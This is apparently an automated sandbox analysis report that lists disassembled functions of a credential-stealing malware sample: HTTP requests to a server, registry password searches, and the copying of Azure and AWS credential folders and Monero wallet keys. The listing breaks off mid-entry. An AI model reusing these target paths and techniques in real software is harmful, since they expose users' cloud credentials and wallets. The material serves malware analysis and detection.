Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: e3e11bf589a47288a9be6fcb019dfb56f7d5501bfccf5a3763119b83d634554e
Instruction ID: aece798bce360bdd510d509b5a3557e015fa66fb6cf7781cfbe855ab04f64101
Opcode Fuzzy Hash: e3e11bf589a47288a9be6fcb019dfb56f7d5501bfccf5a3763119b83d634554e
Instruction Fuzzy Hash: EF12B772950218AAEB15EB94DC92FEEB3B8BF54304F5041D9B506B2091EF702F49DF62

Function 00B48320 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 196
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

RegOpenKeyExA.KERNEL32(00000000,014EAC60,00000000,00020019,00000000,00B505B6), ref: 00B483A4
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00B48426
wsprintfA.USER32 ref: 00B48459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00B4847B
RegCloseKey.ADVAPI32(00000000), ref: 00B4848C
RegCloseKey.ADVAPI32(00000000), ref: 00B48499

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Strings

?, xrefs: 00B4837A
%s\%s, xrefs: 00B4844D
- , xrefs: 00B485A3

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: CloseOpenlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 3246050789-3278919252
Opcode ID: a7dd0a573d1ec6b98a3aebc6152f65131278c16b04f9f5df565330258f3b6234
Instruction ID: d12b3ea6dc0074dbf41ae0a7c37c135611b1784b90ae543994227ab7330914c4
Opcode Fuzzy Hash: a7dd0a573d1ec6b98a3aebc6152f65131278c16b04f9f5df565330258f3b6234
Instruction Fuzzy Hash: 2081DA71950218ABEB28DB54CC95FEEB7B8FF48700F0082D9E109A6190DF716B85DFA5

Function 00B36280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B347B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B34839
Part of subcall function 00B347B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00B34849

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

InternetOpenA.WININET(00B50DFE,00000001,00000000,00000000,00000000), ref: 00B362E1
StrCmpCA.SHLWAPI(?,014EE230), ref: 00B36303
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B36335
HttpOpenRequestA.WININET(00000000,GET,?,014EDB80,00000000,00000000,00400100,00000000), ref: 00B36385
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B363BF
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B363D1
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 00B363FD
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00B3646D
InternetCloseHandle.WININET(00000000), ref: 00B364EF
InternetCloseHandle.WININET(00000000), ref: 00B364F9
InternetCloseHandle.WININET(00000000), ref: 00B36503

Strings

GET, xrefs: 00B3637C
ERROR, xrefs: 00B36407
ERROR, xrefs: 00B364C9

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3749127164-2509457195
Opcode ID: c74a3884ba3b345fefd76cd16bb37e9ed32b5367c45f24b546f459fd84b27f3a
Instruction ID: 51e01f05b19f9fa0f8c72320b527fea8bbf81974b560c7fc58108fce1d2a8220
Opcode Fuzzy Hash: c74a3884ba3b345fefd76cd16bb37e9ed32b5367c45f24b546f459fd84b27f3a
Instruction Fuzzy Hash: FE714071A40318ABEB24DF94CC49BEE77B8FB44700F1081D9F509AB290DBB46A85DF51

Function 00B45510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4A820: lstrlen.KERNEL32(00B34F05,?,?,00B34F05,00B50DDE), ref: 00B4A82B
Part of subcall function 00B4A820: lstrcpy.KERNEL32(00B50DDE,00000000), ref: 00B4A885

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B45644
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B456A1
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B45857

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B451F0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B45228

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B452C0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B45318
Part of subcall function 00B452C0: lstrlen.KERNEL32(00000000), ref: 00B4532F
Part of subcall function 00B452C0: StrStrA.SHLWAPI(00000000,00000000), ref: 00B45364
Part of subcall function 00B452C0: lstrlen.KERNEL32(00000000), ref: 00B45383
Part of subcall function 00B452C0: lstrlen.KERNEL32(00000000), ref: 00B453AE

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B4578B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00B45940
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B45A0C
Sleep.KERNEL32(0000EA60), ref: 00B45A1B

Strings

ERROR, xrefs: 00B45932
ERROR, xrefs: 00B45636
ERROR, xrefs: 00B459FE
ERROR, xrefs: 00B45849
ERROR, xrefs: 00B4577D
ERROR, xrefs: 00B45693

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 507064821-2791005934
Opcode ID: c07b0304c295e85c84e1657af65cf0bcd3b212d4fa45729f5e25088fddc74c01
Instruction ID: 73afcd9cd2e05b5135178db350087945024819260dddf2bf34258211b2367099
Opcode Fuzzy Hash: c07b0304c295e85c84e1657af65cf0bcd3b212d4fa45729f5e25088fddc74c01
Instruction Fuzzy Hash: BEE163729506049BDB14FBA4DC92AED73BCEF54300F5085A8B406A6192EF346F4DDBA2

Function 00B44D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B48DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00B48E0B

lstrcat.KERNEL32(?,00000000), ref: 00B44DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00B44DCD

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B4492C
Part of subcall function 00B44910: FindFirstFileA.KERNEL32(?,?), ref: 00B44943

lstrcat.KERNEL32(?,00000000), ref: 00B44E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00B44E59

Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B50FDC), ref: 00B44971
Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B50FE0), ref: 00B44987
Part of subcall function 00B44910: FindNextFileA.KERNEL32(000000FF,?), ref: 00B44B7D
Part of subcall function 00B44910: FindClose.KERNEL32(000000FF), ref: 00B44B92

lstrcat.KERNEL32(?,00000000), ref: 00B44EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00B44EE5

Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B449B0
Part of subcall function 00B44910: StrCmpCA.SHLWAPI(?,00B508D2), ref: 00B449C5
Part of subcall function 00B44910: wsprintfA.USER32 ref: 00B449E2
Part of subcall function 00B44910: PathMatchSpecA.SHLWAPI(?,?), ref: 00B44A1E
Part of subcall function 00B44910: lstrcat.KERNEL32(?,014EE2E0), ref: 00B44A4A
Part of subcall function 00B44910: lstrcat.KERNEL32(?,00B50FF8), ref: 00B44A5C
Part of subcall function 00B44910: lstrcat.KERNEL32(?,?), ref: 00B44A70
Part of subcall function 00B44910: lstrcat.KERNEL32(?,00B50FFC), ref: 00B44A82
Part of subcall function 00B44910: lstrcat.KERNEL32(?,?), ref: 00B44A96
Part of subcall function 00B44910: CopyFileA.KERNEL32(?,?,00000001), ref: 00B44AAC
Part of subcall function 00B44910: DeleteFileA.KERNEL32(?), ref: 00B44B31

Strings

*.*, xrefs: 00B44E64
Azure\.aws, xrefs: 00B44E5F
\.IdentityService\, xrefs: 00B44ED9
\.azure\, xrefs: 00B44DC1
\.aws\, xrefs: 00B44E4D
*.*, xrefs: 00B44DD8
msal.cache, xrefs: 00B44EF0
Azure\.azure, xrefs: 00B44DD3
Azure\.IdentityService, xrefs: 00B44EEB

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: c818b335b131df5a808859e68f6f23084a5c9ca23a6a40b3ecc1d81cb451f319
Instruction ID: e08763c7a4b768bc7e67419b42486a62e165b7d0f3b66e21a136fcbcb33d23b8
Opcode Fuzzy Hash: c818b335b131df5a808859e68f6f23084a5c9ca23a6a40b3ecc1d81cb451f319
Instruction Fuzzy Hash: F84183BA94020466D750F770EC47FED33B8AB64701F0048D4B649A61C1FEB45BCD9B92

Function 00B31310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B312A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B312B4
Part of subcall function 00B312A0: RtlAllocateHeap.NTDLL(00000000), ref: 00B312BB
Part of subcall function 00B312A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00B312D7
Part of subcall function 00B312A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00B312F5
Part of subcall function 00B312A0: RegCloseKey.ADVAPI32(?), ref: 00B312FF

lstrcat.KERNEL32(?,00000000), ref: 00B3134F
lstrlen.KERNEL32(?), ref: 00B3135C
lstrcat.KERNEL32(?,.keys), ref: 00B31377

Part of subcall function 00B4A740: lstrcpy.KERNEL32(00B50E17,00000000), ref: 00B4A788

Part of subcall function 00B4A9B0: lstrlen.KERNEL32(?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B4A9C5
Part of subcall function 00B4A9B0: lstrcpy.KERNEL32(00000000), ref: 00B4AA04
Part of subcall function 00B4A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B4AA12

Part of subcall function 00B4A8A0: lstrcpy.KERNEL32(?,00B50E17), ref: 00B4A905

Part of subcall function 00B48B60: GetSystemTime.KERNEL32(00B50E1A,014E9CC8,00B505AE,?,?,00B313F9,?,0000001A,00B50E1A,00000000,?,014E8830,?,\Monero\wallet.keys,00B50E17), ref: 00B48B86

Part of subcall function 00B4A920: lstrcpy.KERNEL32(00000000,?), ref: 00B4A972
Part of subcall function 00B4A920: lstrcat.KERNEL32(00000000), ref: 00B4A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00B31465

Part of subcall function 00B4A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B4A7E6

Part of subcall function 00B399C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00B399EC
Part of subcall function 00B399C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00B39A11
Part of subcall function 00B399C0: LocalAlloc.KERNEL32(00000040,?), ref: 00B39A31
Part of subcall function 00B399C0: ReadFile.KERNEL32(000000FF,?,00000000,00B3148F,00000000), ref: 00B39A5A
Part of subcall function 00B399C0: LocalFree.KERNEL32(00B3148F), ref: 00B39A90
Part of subcall function 00B399C0: CloseHandle.KERNEL32(000000FF), ref: 00B39A9A

DeleteFileA.KERNEL32(00000000), ref: 00B314EF

Strings

.keys, xrefs: 00B3136B
wallet_path, xrefs: 00B31330
\Monero\wallet.keys, xrefs: 00B3138D
SOFTWARE\monero-project\monero-core, xrefs: 00B31335

Memory Dump Source

Source File: 00000000.00000002.2296073857.0000000000B31000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000000.00000002.2296056744.0000000000B30000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BBF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BE1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000BED000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CD5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296073857.0000000000CFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000D8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000F15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000000FEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.0000000001015000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000101E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296487249.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296795799.000000000102C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296911540.00000000011C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2296933814.00000000011C8000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b30000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 1b34b38493506ebf4dc91b9c6757e1e97fd389940a81e512b1f9afdc1d21aafd
Instruction ID: d8cd1994120799c0f8f3f9ece6cd88d9691c200fd41fa03fa49af27b211795a1
Opcode Fuzzy Hash: 1b34b38493506ebf4dc91b9c6757e1e97fd389940a81e512b1f9afdc1d21aafd
Instruction Fuzzy Hash: B35151B1D502185BDB15FB60DD92BED73BCEF54300F4045D8B60AA2092EE306B89DFA6

Function 00B375D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B372D0: memset.MSVCRT ref: 00B37314
Part of subcall function 00B372D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00B3733A
Part of subcall function 00B372D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00B373B1
Part of subcall function 00B372D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00B3740D
Part of subcall function 00B372D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00B37452
Part of subcall function 00B372D0: HeapFree.KERNEL32(00000000), ref: 00B37459

lstrcat.KERNEL32(35A77020,00B517FC), ref: 00B37606
lstrcat.KERNEL32(35A77020,00000000), ref: 00B37648
lstrcat.KERNEL32(35A77020, : ), ref: 00B3765A
lstrcat.KERNEL32(35A77020,00000000), ref: 00B3768F
lstrcat.KERNEL32(35A77020,00B51804), ref: 00B376A0
lstrcat.KERNEL32(35A77020,00000000), ref: 00B376D3
lstrcat.KERNEL32(35A77020,00B51808), ref: 00B376ED
task.LIBCPMTD ref: 00B376FB

Strings

: , xrefs: 00B3764E

Memory Dump Source

